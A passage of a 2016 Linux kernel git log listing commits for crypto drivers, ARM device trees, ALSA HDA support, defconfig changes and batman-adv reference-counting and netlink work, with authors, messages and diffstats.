26 18:09:46 2016 -0500 crypto: ccp - Fix non-conforming comment style Adhere to the cryptodev comment convention. Signed-off-by: Gary R Hook Signed-off-by: Herbert Xu drivers/crypto/ccp/ccp-dev.h | 24 ++++++++---------------- 1 file changed, 8 insertions(+), 16 deletions(-) commit c5736a4067ad4c59d1447762172def7f27fe869a Author: Quentin Lambert Date: Fri Jul 22 15:32:41 2016 +0200 crypto: ixp4xx - Add missing npe_c release in error branches Most error branches following the call to npe_request contain a call to npe_request. This patch add a call to npe_release to error branches following the call to npe_request that do not have it. This issue was found with Hector. Signed-off-by: Quentin Lambert Signed-off-by: Herbert Xu drivers/crypto/ixp4xx_crypto.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit b363700ef50e2c0b3122b47ffba70281f45cb686 Author: Quentin Lambert Date: Fri Jul 22 15:32:42 2016 +0200 crypto: ixp4xx - Fix a "simple if" coding style warning Signed-off-by: Quentin Lambert Signed-off-by: Herbert Xu drivers/crypto/ixp4xx_crypto.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 44524a010a55fc523e1d901613d5ee213cb79b97 Author: Karl Beldan Date: Fri Aug 5 20:29:49 2016 +0000 ARM: dts: da850: Add basic DTS for the LCDK The LCDK is the successor to the late Hawkboard. Among the differences are the flash (16bits vs 8bits) and some pins (MMC, LEDs, buttons, some external connectors), however the main components remain the same (eth. phy, audio codec, video decoder and DAC) except for the main PMIC, different and hard-wired on the LCDK (the LDOs and DCDCs are always on). A DT-only boot with this addition gives functional UART, reboot via watchdog, RTC, ethernet and MMC (I added the CD GPIO for the MMC although davinci_mmc doesn't call the OF facilities of mmc core). Cc: Sekhar Nori Tested-by: Kevin Hilman Signed-off-by: Karl Beldan Signed-off-by: Sekhar Nori Documentation/devicetree/bindings/arm/davinci.txt | 4 ++ arch/arm/boot/dts/Makefile | 1 + arch/arm/boot/dts/da850-lcdk.dts | 70 +++++++++++++++++++++++ arch/arm/mach-davinci/da8xx-dt.c | 1 + 4 files changed, 76 insertions(+) commit 10ead752aab9755f4044abc64b51b0264a72853c Author: Karl Beldan Date: Thu Aug 4 11:06:56 2016 +0000 ARM: dts: da850: Add missing pin muxing for the UARTs This adds 2 pinctrl groups (rtscts, rxtx) for each of the 3 UARTs. Signed-off-by: Karl Beldan Signed-off-by: Sekhar Nori arch/arm/boot/dts/da850.dtsi | 36 ++++++++++++++++++++++++++++++++++++ 1 file changed, 36 insertions(+) commit f75529fd712cb147a81925c58cf260346eae5da3 Author: Wei Yongjun Date: Mon Aug 8 13:53:23 2016 +0000 spi: jcore: remove unnecessary platform_set_drvdata() The driver core clears the driver data to NULL after device_release or on probe failure. Thus, it is not needed to manually clear the device driver data to NULL. Signed-off-by: Wei Yongjun Signed-off-by: Mark Brown drivers/spi/spi-jcore.c | 1 - 1 file changed, 1 deletion(-) commit 1e814030954015e42621191f3adc52df2241dc08 Author: Kuninori Morimoto Date: Mon Aug 1 06:11:36 2016 +0000 ASoC: remove snd_soc_pcm_set/get_drvdata() snd_soc_pcm_set_drvdata() will set driver data to rtd->dev, but driver data of rtd->dev is already used as "rtd" on soc_post_component_init(). static int soc_post_component_init(xxx) { ... dev_set_drvdata(rtd->dev, rtd); ... } To remove confusion, this patch removes snd_soc_pcm_set/get_drvdata(). Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown include/sound/soc.h | 11 ----------- 1 file changed, 11 deletions(-) commit 6adcbdcd4b6e8301c3a4c61284e701f87de9a409 Author: Kuninori Morimoto Date: Mon Aug 1 06:10:54 2016 +0000 ASoC: lpass-platform: don't use snd_soc_pcm_set_drvdata() snd_soc_pcm_set_drvdata() will set driver data to rtd->dev, but driver data of rtd->dev is already used as "rtd" on soc_post_component_init(). static int soc_post_component_init(xxx) { ... dev_set_drvdata(rtd->dev, rtd); ... } To remove confusion, snd_soc_pcm_set/get_drvdata() should be removed soon. This patch is for it. qcom/lpass-platform.c sets struct lpass_pcm_data to rtd->dev today, but we can replace it to struct lpass_data :: private_data. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/qcom/lpass-platform.c | 14 +++++++------- sound/soc/qcom/lpass.h | 2 ++ 2 files changed, 9 insertions(+), 7 deletions(-) commit f7a1c358e51c21b80336413fb824e1a82df648b9 Author: Jan Kara Date: Tue Aug 9 10:07:52 2016 +0200 ext2: Check return value from ext2_get_group_desc() ext2_get_group_desc() can return NULL if there is some error. This usually means there is some programming error in the ext2 driver itself but let's be defensive and handle that case. Coverity-id: 115628 Signed-off-by: Jan Kara fs/ext2/ialloc.c | 5 +++++ 1 file changed, 5 insertions(+) commit b51d5275016c6edbf4656eaee30d836fef127016 Author: Geert Uytterhoeven Date: Mon Jun 27 16:51:14 2016 +0200 clk: renesas: r8a7796: Add watchdog module clock Add the module clock for the Watchdog Timer (WDT) controller on the Renesas R-Car M3-W (r8a7796) SoC. Signed-off-by: Geert Uytterhoeven drivers/clk/renesas/r8a7796-cpg-mssr.c | 1 + 1 file changed, 1 insertion(+) commit 2570d4005d475818711c96e83fb84d5048ab8e1b Author: Geert Uytterhoeven Date: Mon Jun 27 16:48:07 2016 +0200 clk: renesas: r8a7796: Add watchdog core clocks Add all core clocks related to the Watchdog Timer (WDT) controller on the Renesas R-Car M3-W (r8a7796) SoC: OSC, Internal RCLK, and RCLK. Signed-off-by: Geert Uytterhoeven drivers/clk/renesas/r8a7796-cpg-mssr.c | 6 ++++++ 1 file changed, 6 insertions(+) commit 8355aaf6d3defdd7324314cb9452716be3788e82 Merge: 41f5e3b bfcba28 Author: Takashi Iwai Date: Tue Aug 9 08:55:31 2016 +0200 Merge branch 'topic/hda-link-time' into for-next commit bfcba288b97f10c22fb84f0898ebfb6b468b80ea Author: Guneshwor Singh Date: Thu Aug 4 15:46:04 2016 +0530 ALSA - hda: Add support for link audio time reporting The HDA controller from SKL onwards support additional timestamp reporting of the link time. The link time is read from HW registers and converted to audio values. Signed-off-by: Guneshwor Singh Signed-off-by: Hardik T Shah Signed-off-by: Takashi Iwai sound/pci/hda/hda_controller.c | 198 ++++++++++++++++++++++++++++++++++++++++- 1 file changed, 197 insertions(+), 1 deletion(-) commit 50279d9b5facde811280afe13dd8c79f0e7b21ed Author: Guneshwor Singh Date: Thu Aug 4 15:46:03 2016 +0530 ALSA - hda: Add support for parsing new HDA capabilities Skylake onwards HDA controller supports new capabilities like Global Time Stamping (GTS) capability. So add support to parse these new capabilities. Signed-off-by: Guneshwor Singh Signed-off-by: Hardik T Shah Signed-off-by: Vinod Koul Signed-off-by: Takashi Iwai include/sound/hda_register.h | 36 ++++++++++++++++++++++++++++++++++++ sound/pci/hda/hda_controller.c | 5 +++++ sound/pci/hda/hda_controller.h | 3 +++ sound/pci/hda/hda_intel.c | 17 +++++++++++++++++ 4 files changed, 61 insertions(+) commit 404735c9fd8adff8e5ad11e1f9f8db069d865698 Author: Vinod Koul Date: Thu Aug 4 15:46:02 2016 +0530 ALSA - Ext hda: remove bus_parse_capabilities Remove the unused one as we have moved it up to hdac core. Signed-off-by: Vinod Koul Signed-off-by: Takashi Iwai include/sound/hdaudio_ext.h | 12 ------ sound/hda/ext/hdac_ext_controller.c | 75 ------------------------------------- 2 files changed, 87 deletions(-) commit ec8ae5703da1b8bd057b4e319567ddbcac295b3a Author: Vinod Koul Date: Thu Aug 4 15:46:01 2016 +0530 ALSA: convert users to core bus_parse_capabilities Now that we have the bus parse capabilities moved to core, we need to convert users. The SKL driver and HDA extended lib needs to converted in single patch, otherwise we regress on the functionality. Signed-off-by: Vinod Koul Signed-off-by: Takashi Iwai sound/hda/ext/hdac_ext_controller.c | 16 ++++++------ sound/hda/ext/hdac_ext_stream.c | 46 +++++++++++++++++----------------- sound/soc/intel/skylake/skl-messages.c | 4 +-- sound/soc/intel/skylake/skl-pcm.c | 8 +++--- sound/soc/intel/skylake/skl.c | 6 ++--- 5 files changed, 40 insertions(+), 40 deletions(-) commit 6720b38420a01d40dbeb8ee575eb601d612de691 Author: Vinod Koul Date: Thu Aug 4 15:46:00 2016 +0530 ALSA: hda - move bus_parse_capabilities to core HDA capability introduced recently are move to hdac core so that it can be used by legacy driver as well. Also move the capability pointers up to hdac_bus object. Signed-off-by: Vinod Koul Signed-off-by: Takashi Iwai include/sound/hdaudio.h | 13 ++++++++ sound/hda/hdac_controller.c | 75 +++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 88 insertions(+) commit 38b8da79163be3fe4a83f02df77edb0157b1b49f Author: Cooper Jr., Franklin Date: Mon Jul 11 14:11:46 2016 -0500 ARM: dts: da850: Add new ECAP and EPWM bindings For some devices, the PWMSS is a parent of eCAP and ePWM and provides the functional clocks for those submodules. The ti,am33xx-ecap and ti,am33xx-ehrpwm bindings were based on this parent child relationship where the functional clock would be grabbed from the module's parent. However, DA850 doesn't have a PWMSS and the eCAP and ePWM provides their functional clock themselves. Therefore, prefer the new binding that doesn't assume this parent child relationship. Signed-off-by: Franklin S Cooper Jr Acked-by: Rob Herring [nsekhar@ti.com: minor commit message fixes] Signed-off-by: Sekhar Nori arch/arm/boot/dts/da850.dtsi | 15 ++++++++++----- 1 file changed, 10 insertions(+), 5 deletions(-) commit 9eebb750bb3ab56cb00911cd01fb00aad52f0d82 Author: Vanessa Maegima Date: Mon Jul 18 13:25:10 2016 -0300 ARM: dts: imx6ul-pico-hobbit: Add Wifi support imx6ul-pico-hobbit has a bcm4343 wifi chip connected to usdhc2 port. Add support for it. Signed-off-by: Vanessa Maegima Signed-off-by: Shawn Guo arch/arm/boot/dts/imx6ul-pico-hobbit.dts | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) commit 942526c35e97b7758b4a07ba456870f4ca15c1c6 Author: Sascha Hauer Date: Thu Jul 14 12:30:34 2016 +0200 ARM: i.MX6 Phytec PFLA02: Add supplies for the SoC internal regulators The SoC internal regulators for the CPU and the SoC come from the DA9063 vdd_core and vdd_soc. Add this relationship to the device tree so that the voltage drop on the SoC internal LDO regulators can be minimized. Signed-off-by: Sascha Hauer Acked-by: Mark Brown Signed-off-by: Shawn Guo arch/arm/boot/dts/imx6qdl-phytec-pfla02.dtsi | 12 ++++++++++++ 1 file changed, 12 insertions(+) commit cd0f319bfbae81b32b601332a3e6e684fd360f34 Author: Bartlomiej Zolnierkiewicz Date: Fri Jul 8 17:24:50 2016 +0200 arm: trizeps4_defconfig: disable IDE subsystem This patch disables deprecated IDE subsystem in trizeps4_defconfig (ide-cs host driver is selected in this config but pata_pcmcia libata PATA host driver is also selected so ide-cs is redundant and can be disabled together with the whole IDE subsystem). Cc: Daniel Mack Cc: Haojian Zhuang Cc: Robert Jarzmik Signed-off-by: Bartlomiej Zolnierkiewicz Signed-off-by: Robert Jarzmik arch/arm/configs/trizeps4_defconfig | 2 -- 1 file changed, 2 deletions(-) commit 12f6d59ccb4efb3cc8983fbc162f76ef404dfe66 Author: Bartlomiej Zolnierkiewicz Date: Fri Jul 8 17:24:48 2016 +0200 arm: pxa255-idp_defconfig: disable IDE subsystem This patch disables deprecated IDE subsystem in pxa255-idp_defconfig (no IDE host drivers are selected in this config so there is no valid reason to enable IDE subsystem itself). Cc: Daniel Mack Cc: Haojian Zhuang Cc: Robert Jarzmik Signed-off-by: Bartlomiej Zolnierkiewicz Signed-off-by: Robert Jarzmik arch/arm/configs/pxa255-idp_defconfig | 1 - 1 file changed, 1 deletion(-) commit 85719b0e217bba4d068449366a0fca109049c193 Author: Bartlomiej Zolnierkiewicz Date: Fri Jul 8 17:24:46 2016 +0200 arm: lpda270_defconfig: disable IDE subsystem This patch disables deprecated IDE subsystem in lpd270_defconfig (no IDE host drivers are selected in this config so there is no valid reason to enable IDE subsystem itself). Cc: Daniel Mack Cc: Haojian Zhuang Cc: Robert Jarzmik Signed-off-by: Bartlomiej Zolnierkiewicz Signed-off-by: Robert Jarzmik arch/arm/configs/lpd270_defconfig | 1 - 1 file changed, 1 deletion(-) commit 6e6263069af8a3514c165b4b937e56922ac7e76f Author: Bartlomiej Zolnierkiewicz Date: Fri Jul 8 17:24:44 2016 +0200 arm: colibri_pxa270_defconfig: disable IDE subsystem This patch disables deprecated IDE subsystem in colibri_pxa270_defconfig (no IDE host drivers are selected in this config so there is no valid reason to enable IDE subsystem itself). Cc: Daniel Mack Cc: Haojian Zhuang Cc: Robert Jarzmik Signed-off-by: Bartlomiej Zolnierkiewicz Signed-off-by: Robert Jarzmik arch/arm/configs/colibri_pxa270_defconfig | 1 - 1 file changed, 1 deletion(-) commit d9edae44d76a20d1b999070d911e58dca53f9906 Author: Robert Jarzmik Date: Sun Apr 10 21:29:59 2016 +0200 ARM: pxa: add pxa25x device-tree support Add a device-tree machine entry (DT_MACHINE_START) for pxa25x based platforms. Take the opportunity to sort the file machine descriptions by alphabetical order. Signed-off-by: Robert Jarzmik arch/arm/mach-pxa/Kconfig | 11 +++++++++++ arch/arm/mach-pxa/Makefile | 3 ++- arch/arm/mach-pxa/pxa-dt.c | 37 ++++++++++++++++++++++++++----------- arch/arm/mach-pxa/pxa25x.c | 12 ++++++------ 4 files changed, 45 insertions(+), 18 deletions(-) commit ca5be4c678a402b7a35b2ce9a1a480b79d53f36e Author: Robert Jarzmik Date: Sun Apr 10 21:29:58 2016 +0200 ARM: pxa: prepare pxa25x interrupts for device-tree platforms Add the device-tree interrupts initialization function required to have a generic pxa25x device-tree machine. Signed-off-by: Robert Jarzmik arch/arm/mach-pxa/generic.h | 1 + arch/arm/mach-pxa/pxa25x.c | 6 ++++++ 2 files changed, 7 insertions(+) commit 1761b1076a6465158079fdb61edcd75143887937 Author: Robert Jarzmik Date: Sun Apr 3 11:23:59 2016 +0200 ARM: pxa: remove platform dma code As the last pxa related driver was converted to dmaengine, it's time to kill the legacy dma code, which is not used anymore. This finishes the pxa dmaengine transition. Signed-off-by: Robert Jarzmik arch/arm/mach-pxa/devices.h | 1 + arch/arm/mach-pxa/include/mach/dma.h | 1 - arch/arm/mach-pxa/pxa25x.c | 3 - arch/arm/mach-pxa/pxa27x.c | 3 - arch/arm/mach-pxa/pxa3xx.c | 3 - arch/arm/plat-pxa/Makefile | 2 - arch/arm/plat-pxa/dma.c | 386 ----------------------------------- arch/arm/plat-pxa/include/plat/dma.h | 100 --------- 8 files changed, 1 insertion(+), 498 deletions(-) commit 976e509c2ddf9691e8186a823f14df158dd92153 Author: Robert Jarzmik Date: Fri Jun 3 22:29:26 2016 +0200 ARM: pxa: remove devicetree boards from pxa_defconfig If both legacy and device-tree machines are mixed in the same defconfig, the legacy boards don't boot up anymore with gpio request deferral errors. This is seen when attempting to run akita, borzoi, spitz, terrier, or tosa in qemu with pxa_defconfig. The real reason behind is that gpio handling for pxa in its current state cannot be built for _both_ a devicetree machine (ie. pxa-dt.c) and a non devicetree machine (ie. corgi, tosa, ...). This is turn is because for devicetree a pinctrl is enforced for the machine, and a pinctrl driver is required. If it's not available, pxa_gpio_request() fails on pinctrl_request_gpio() and returns -EPROBE_DEFER. It was introduced by commit f806dac5938b ("ARM: pxa: activate pinctrl for device-tree machines"). Now the true chicken and egg problem is than machine files, ie. arch/arm/mach-pxa/xxx.c are using gpio before the drivers are probed, in the init_machine() function, and that's why pinctrl/gpio for legacy machine files is a bit difficult. As for now, to keep the compilation coverage and testing of legacy machines, this patch removes the 2 devicetree machines from pxa_defconfig. Reported-by: Guenter Roeck Signed-off-by: Robert Jarzmik Tested-by: Guenter Roeck arch/arm/configs/pxa_defconfig | 2 -- 1 file changed, 2 deletions(-) commit ffebc8c0344934db710afc76e3bfda11a823bb3d Author: Fabio Estevam Date: Tue Jul 12 11:19:06 2016 -0300 ARM: dts: imx7s-warp: Add initial support Add the initial support for the Warp7 board. For more information about this reference design, please visit: https://www.element14.com/community/docs/DOC-79058/l/warp-7-the-next-generation-wearable-reference-platform Signed-off-by: Fabio Estevam Signed-off-by: Shawn Guo arch/arm/boot/dts/Makefile | 3 +- arch/arm/boot/dts/imx7s-warp.dts | 246 +++++++++++++++++++++++++++++++++++++++ 2 files changed, 248 insertions(+), 1 deletion(-) commit 409a05fe10be0b2e711d257c2084a9768ae45aa8 Author: Tuomas Tynkkynen Date: Mon Jul 11 21:08:12 2016 +0300 ARM: multi_v7_defconfig: Enable ARM_IMX6Q_CPUFREQ The Wandboard Quad can make use of the cpufreq support provided by the driver. Enable it and its dependency, REGULATOR_ANATOP, by default. Signed-off-by: Tuomas Tynkkynen Signed-off-by: Shawn Guo arch/arm/configs/multi_v7_defconfig | 2 ++ 1 file changed, 2 insertions(+) commit cb4d97b423ce9eac24a18a36de46a4e935e68171 Author: Tuomas Tynkkynen Date: Mon Jul 11 21:08:11 2016 +0300 ARM: multi_v7_defconfig: Enable AHCI_IMX The Wandboard Quad comes with a SATA port. Enable the IMX SATA driver by default to make it easy to have the root filesystem on it. Signed-off-by: Tuomas Tynkkynen Signed-off-by: Shawn Guo arch/arm/configs/multi_v7_defconfig | 1 + 1 file changed, 1 insertion(+) commit 7705b5ed8adccd921423019e870df672fa423279 Author: Lothar Waßmann Date: Mon Jul 11 14:18:48 2016 +0200 ARM: mxs: remove obsolete startup code for TX28 The power and reset handling of the FEC ethernet driver is sufficient to get the ethernet PHY on the TX28 into a usable state. Remove the code that does the PHY initialization on startup. Signed-off-by: Lothar Waßmann Reviewed-by: Fabio Estevam Signed-off-by: Shawn Guo arch/arm/mach-mxs/mach-mxs.c | 77 -------------------------------------------- 1 file changed, 77 deletions(-) commit dc1cbd145eecf21209d0322874e1766bcbce3e3f Author: Sven Eckelmann Date: Sat Jul 16 09:31:20 2016 +0200 batman-adv: Allow to disable debugfs support The files provided by batman-adv via debugfs are currently converted to netlink. Tools which are not yet converted to use the netlink interface may still rely on the old debugfs files. But systems which already upgraded their tools can save some space by disabling this feature. The default configuration of batman-adv on amd64 can reduce the size of the module by around 11% when this feature is disabled. $ size net/batman-adv/batman-adv.ko* text data bss dec hex filename 150507 10395 4160 165062 284c6 net/batman-adv/batman-adv.ko.y 137106 7099 2112 146317 23b8d net/batman-adv/batman-adv.ko.n Signed-off-by: Sven Eckelmann Signed-off-by: Marek Lindner Signed-off-by: Simon Wunderlich net/batman-adv/Kconfig | 15 +++++++++++++-- net/batman-adv/Makefile | 4 ++-- net/batman-adv/bat_algo.c | 2 ++ net/batman-adv/bat_iv_ogm.c | 12 ++++++++++++ net/batman-adv/bat_v.c | 12 ++++++++++++ net/batman-adv/bridge_loop_avoidance.c | 4 ++++ net/batman-adv/debugfs.h | 2 +- net/batman-adv/distributed-arp-table.c | 2 ++ net/batman-adv/gateway_client.c | 2 ++ net/batman-adv/icmp_socket.h | 18 +++++++++++++++++- net/batman-adv/main.c | 2 ++ net/batman-adv/multicast.c | 2 ++ net/batman-adv/network-coding.c | 2 ++ net/batman-adv/originator.c | 4 ++++ net/batman-adv/translation-table.c | 4 ++++ net/batman-adv/types.h | 6 ++++++ 16 files changed, 87 insertions(+), 6 deletions(-) commit 06d640c9aad6d96713ea2fbe36f5a344428ccd57 Author: Sven Eckelmann Date: Sun Jul 10 15:47:57 2016 +0200 batman-adv: Keep batadv netdev when hardif disappears Switch-like virtual interfaces like bridge or openvswitch don't destroy itself when all their attached netdevices dissappear. Instead they only remove the link to the unregistered device and keep working until they get removed manually. This has the benefit that all configurations for this interfaces are kept and daemons reacting to rtnl events can just add new slave interfaces without going through the complete configuration of the switch-like netdevice. Handling unregister events of client devices similar in batman-adv allows users to drop their current workaround of dummy netdevices attached to batman-adv soft-interfaces. Signed-off-by: Sven Eckelmann Signed-off-by: Marek Lindner Signed-off-by: Simon Wunderlich net/batman-adv/hard-interface.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 27d684ec5bc7caf8a72a7a0383fa3e1631ee2b25 Author: Sven Eckelmann Date: Fri Jul 15 17:39:33 2016 +0200 batman-adv: Place kref_get for tvlv_handler near use It is hard to understand why the refcnt is increased when it isn't done near the actual place the new reference is used. So using kref_get right before the place which requires the reference and in the same function helps to avoid accidental problems caused by incorrect reference counting. Signed-off-by: Sven Eckelmann Signed-off-by: Marek Lindner Signed-off-by: Simon Wunderlich net/batman-adv/tvlv.c | 4 ++++ 1 file changed, 4 insertions(+) commit 6913d61be5757dab2327a64a95d87caf7cca0632 Author: Sven Eckelmann Date: Fri Jul 15 17:39:32 2016 +0200 batman-adv: Place kref_get for tvlv_container near use It is hard to understand why the refcnt is increased when it isn't done near the actual place the new reference is used. So using kref_get right before the place which requires the reference and in the same function helps to avoid accidental problems caused by incorrect reference counting. Signed-off-by: Sven Eckelmann Signed-off-by: Marek Lindner Signed-off-by: Simon Wunderlich net/batman-adv/tvlv.c | 5 +++++ 1 file changed, 5 insertions(+) commit f489eab5b16b8a2ed8d63b6a725cc31e0c1d6c1a Author: Sven Eckelmann Date: Fri Jul 15 17:39:31 2016 +0200 batman-adv: Place kref_get for nc_path near use It is hard to understand why the refcnt is increased when it isn't done near the actual place the new reference is used. So using kref_get right before the place which requires the reference and in the same function helps to avoid accidental problems caused by incorrect reference counting. Signed-off-by: Sven Eckelmann Signed-off-by: Marek Lindner Signed-off-by: Simon Wunderlich net/batman-adv/network-coding.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit da7a26af4ae7192e63103aaaf0941a1fd42723df Author: Sven Eckelmann Date: Fri Jul 15 17:39:30 2016 +0200 batman-adv: Place kref_get for nc_node near use It is hard to understand why the refcnt is increased when it isn't done near the actual place the new reference is used. So using kref_get right before the place which requires the reference and in the same function helps to avoid accidental problems caused by incorrect reference counting. Signed-off-by: Sven Eckelmann Signed-off-by: Marek Lindner Signed-off-by: Simon Wunderlich net/batman-adv/network-coding.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit df28ca6bb3282a4c8dc5b65f60b0136fc190ee52 Author: Sven Eckelmann Date: Fri Jul 15 17:39:29 2016 +0200 batman-adv: Place kref_get for softif_vlan near use It is hard to understand why the refcnt is increased when it isn't done near the actual place the new reference is used. So using kref_get right before the place which requires the reference and in the same function helps to avoid accidental problems caused by incorrect reference counting. Signed-off-by: Sven Eckelmann Signed-off-by: Marek Lindner Signed-off-by: Simon Wunderlich net/batman-adv/soft-interface.c | 4 ++++ 1 file changed, 4 insertions(+) commit b2367e46fa0d50fd784be3ec0a5c370bf2f2b61a Author: Sven Eckelmann Date: Fri Jul 15 17:39:28 2016 +0200 batman-adv: Place kref_get for hard_iface near use It is hard to understand why the refcnt is increased when it isn't done near the actual place the new reference is used. So using kref_get right before the place which requires the reference and in the same function helps to avoid accidental problems caused by incorrect reference counting. Signed-off-by: Sven Eckelmann Signed-off-by: Marek Lindner Signed-off-by: Simon Wunderlich net/batman-adv/hard-interface.c | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) commit f665fa7e85e9e32deadc8aee35c958334c812d8d Author: Sven Eckelmann Date: Fri Jul 15 17:39:27 2016 +0200 batman-adv: Place kref_get for gw_node near use It is hard to understand why the refcnt is increased when it isn't done near the actual place the new reference is used. So using kref_get right before the place which requires the reference and in the same function helps to avoid accidental problems caused by incorrect reference counting. Signed-off-by: Sven Eckelmann Signed-off-by: Marek Lindner Signed-off-by: Simon Wunderlich net/batman-adv/gateway_client.c | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) commit 6a51e09d8b5828698217ac4a04b97de1e5415978 Author: Sven Eckelmann Date: Fri Jul 15 17:39:26 2016 +0200 batman-adv: Place kref_get for dat_entry near use It is hard to understand why the refcnt is increased when it isn't done near the actual place the new reference is used. So using kref_get right before the place which requires the reference and in the same function helps to avoid accidental problems caused by incorrect reference counting. Signed-off-by: Sven Eckelmann Signed-off-by: Marek Lindner Signed-off-by: Simon Wunderlich net/batman-adv/distributed-arp-table.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 4e8389e17a97c6bdd927d33f6e5d505c08a85a4f Author: Sven Eckelmann Date: Fri Jul 15 17:39:25 2016 +0200 batman-adv: Place kref_get for bla_backbone_gw near use It is hard to understand why the refcnt is increased when it isn't done near the actual place the new reference is used. So using kref_get right before the place which requires the reference and in the same function helps to avoid accidental problems caused by incorrect reference counting. Signed-off-by: Sven Eckelmann Signed-off-by: Marek Lindner Signed-off-by: Simon Wunderlich net/batman-adv/bridge_loop_avoidance.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit 7282ac396ea617a0a4f8f89389f84690f8431d7d Author: Sven Eckelmann Date: Fri Jul 15 17:39:24 2016 +0200 batman-adv: Place kref_get for bla_claim near use It is hard to understand why the refcnt is increased when it isn't done near the actual place the new reference is used. So using kref_get right before the place which requires the reference and in the same function helps to avoid accidental problems caused by incorrect reference counting. Signed-off-by: Sven Eckelmann Signed-off-by: Marek Lindner Signed-off-by: Simon Wunderlich net/batman-adv/bridge_loop_avoidance.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit 15d5ffdea0ddfa78609b1587851b13d9137fbbcd Author: Sven Eckelmann Date: Fri Jul 15 17:39:23 2016 +0200 batman-adv: Place kref_get for tt_common near use It is hard to understand why the refcnt is increased when it isn't done near the actual place the new reference is used. So using kref_get right before the place which requires the reference and in the same function helps to avoid accidental problems caused by incorrect reference counting. Signed-off-by: Sven Eckelmann Signed-off-by: Marek Lindner Signed-off-by: Simon Wunderlich net/batman-adv/translation-table.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit e3387b266cf68b497be5824e02b074d76244e2ec Author: Sven Eckelmann Date: Fri Jul 15 17:39:22 2016 +0200 batman-adv: Place kref_get for tt_local_entry near use It is hard to understand why the refcnt is increased when it isn't done near the actual place the new reference is used. So using kref_get right before the place which requires the reference and in the same function helps to avoid accidental problems caused by incorrect reference counting. Signed-off-by: Sven Eckelmann Signed-off-by: Marek Lindner Signed-off-by: Simon Wunderlich net/batman-adv/translation-table.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 55db2d590298e8ffe6ee66134157aa710e45faa2 Author: Sven Eckelmann Date: Fri Jul 15 17:39:21 2016 +0200 batman-adv: Place kref_get for orig_node near use It is hard to understand why the refcnt is increased when it isn't done near the actual place the new reference is used. So using kref_get right before the place which requires the reference and in the same function helps to avoid accidental problems caused by incorrect reference counting. Signed-off-by: Sven Eckelmann Signed-off-by: Marek Lindner Signed-off-by: Simon Wunderlich net/batman-adv/bat_iv_ogm.c | 7 ++++--- net/batman-adv/bat_v_ogm.c | 5 ++--- net/batman-adv/gateway_client.c | 2 +- net/batman-adv/network-coding.c | 7 +++---- net/batman-adv/originator.c | 1 - 5 files changed, 10 insertions(+), 12 deletions(-) commit 8427445886d23729cc41305cef580605202f01db Author: Sven Eckelmann Date: Fri Jul 15 17:39:20 2016 +0200 batman-adv: Place kref_get for neigh_node near use It is hard to understand why the refcnt is increased when it isn't done near the actual place the new reference is used. So using kref_get right before the place which requires the reference and in the same function helps to avoid accidental problems caused by incorrect reference counting. Signed-off-by: Sven Eckelmann Signed-off-by: Marek Lindner Signed-off-by: Simon Wunderlich net/batman-adv/originator.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 2e774ac2f7ad4a7fb4289b7aacd9709bf3e2f991 Author: Sven Eckelmann Date: Fri Jul 15 17:39:19 2016 +0200 batman-adv: Place kref_get for neigh_ifinfo near use It is hard to understand why the refcnt is increased when it isn't done near the actual place the new reference is used. So using kref_get right before the place which requires the reference and in the same function helps to avoid accidental problems caused by incorrect reference counting. Signed-off-by: Sven Eckelmann Signed-off-by: Marek Lindner Signed-off-by: Simon Wunderlich net/batman-adv/originator.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 23f554855911f788474b52ff3b7af656b5b61239 Author: Sven Eckelmann Date: Fri Jul 15 17:39:18 2016 +0200 batman-adv: Place kref_get for tt_orig_list_entry near use It is hard to understand why the refcnt is increased when it isn't done near the actual place the new reference is used. So using kref_get right before the place which requires the reference and in the same function helps to avoid accidental problems caused by incorrect reference counting. Signed-off-by: Sven Eckelmann Signed-off-by: Marek Lindner Signed-off-by: Simon Wunderlich net/batman-adv/translation-table.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit f257b99becf5183c721a3e0e41ad9b9fbbddbd44 Author: Sven Eckelmann Date: Fri Jul 15 17:39:17 2016 +0200 batman-adv: Place kref_get for orig_ifinfo near use It is hard to understand why the refcnt is increased when it isn't done near the actual place the new reference is used. So using kref_get right before the place which requires the reference and in the same function helps to avoid accidental problems caused by incorrect reference counting. Signed-off-by: Sven Eckelmann Signed-off-by: Marek Lindner Signed-off-by: Simon Wunderlich net/batman-adv/originator.c | 1 + 1 file changed, 1 insertion(+) commit 09537d1869499fb3eac710cc54e700602b6c66c9 Author: Sven Eckelmann Date: Fri Jul 15 17:39:16 2016 +0200 batman-adv: Place kref_get for orig_node_vlan near use It is hard to understand why the refcnt is increased when it isn't done near the actual place the new reference is used. So using kref_get right before the place which requires the reference and in the same function helps to avoid accidental problems caused by incorrect reference counting. Signed-off-by: Sven Eckelmann Signed-off-by: Marek Lindner Signed-off-by: Simon Wunderlich net/batman-adv/originator.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 4c09a08b47ffac9aa3bc91870aa54c9ae39d9674 Author: Andrew Lunn Date: Sun Jul 3 13:31:48 2016 +0200 batman-adv: Indicate netlink socket can be used with netns. Set the netnsof flag on the family structure, indicating it can be used with different network name spaces. Signed-off-by: Andrew Lunn Signed-off-by: Simon Wunderlich Signed-off-by: Sven Eckelmann Signed-off-by: Marek Lindner net/batman-adv/netlink.c | 1 + 1 file changed, 1 insertion(+) commit ea4152e1171604f325f1a5f080190823a0edbc1f Author: Simon Wunderlich Date: Sun Jul 3 13:31:47 2016 +0200 batman-adv: add backbone table netlink support Dump the list of bridge loop avoidance backbones via the netlink 